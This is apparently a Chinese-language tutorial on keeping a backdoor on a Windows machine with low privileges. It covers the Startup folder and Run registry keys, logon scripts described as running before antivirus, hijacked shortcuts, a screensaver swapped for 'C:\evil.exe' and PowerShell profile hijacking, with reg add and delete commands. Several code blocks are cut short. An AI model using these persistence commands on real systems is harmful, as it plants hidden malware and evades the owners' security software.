Windows低权限条件下进行长期驻留的方式
自启动目录和注册表项
自启动程序
1 | C:\Users\Jack\AppData\Roaming\Microsoft\Windows\Start Menu\Programs |
只需要把恶意程序丢到这个目录下就行
查看注册表项中的 Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
启动注册表的命令
1 | # /v是指定注册表的名字 |
还有一个注册表项 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
需要管理员权限
添加成功之后需要重新登录一下用户
删除自启动项命令
1 | del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\backdoor.exe" |
删除注册表项命令
1 | reg delete "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v MSUpdate /f |
Logon Scripts
当用户登录的时候,会有init的进程来初始化,其中有一个步骤会启动Logon Scripts,且Logon Scripts优先于杀软先执行,可以利用这一点来绕过杀软的敏感操作拦截,当用户登录的时候会执行里面的脚本
Logon Scripts的注册表项
1 | HKEY_CURRENT_USER\Environment |
命令行添加
1 | reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /d "C:\logon.bat" /t REG_SZ /f |
logon.bat
1 | @ECHO OFF |
篡改快捷方式
通过修改快捷方式,将快捷方式修改为恶意程序的地址,该恶意程序会先启动另一个恶意程序,然后再启动正常的程序
1 | ' CONFIGURATION |
篡改屏幕保护程序
在对方开启屏幕保护的情况下,我们可以修改屏保程序为我们的恶意程序从而达到后门持久化的目的,其中屏幕保护的配置存储在注册表中,其位置为:HKEY_CURRENT_USER\Control Panel\Desktop
1 | SCRNSAVE.EXE - 默认屏幕保护程序,我们可以把这个键值改为我们的恶意程序 |
命令行启动屏幕保护程序
1 | reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v "SCRNSAVE.EXE" /d "C:\evil.exe" /t REG_SZ /f |
但是现实情况中,这种设置可能会被活动目录的组策略影响
Powershell Profile
这种技术不一定能用于所有Windows,依赖于系统设置,流程是当Powershell启动的时候劫持系统环境变量,所以这种依赖于有程序正在运行Powershell,而这种情况不一定存在
当Powershell启动的时候,会使用特定的各种设置(Profile),这些设置因用户而异,用户设置的情况下,需要在指定目录下创建一个Profile.ps1
1 | C:\Users\Jack\Documents\WindowsPowerShell |
该目录下的Profile.ps1,会在每次有Powershell进程启动的时候就跟随启动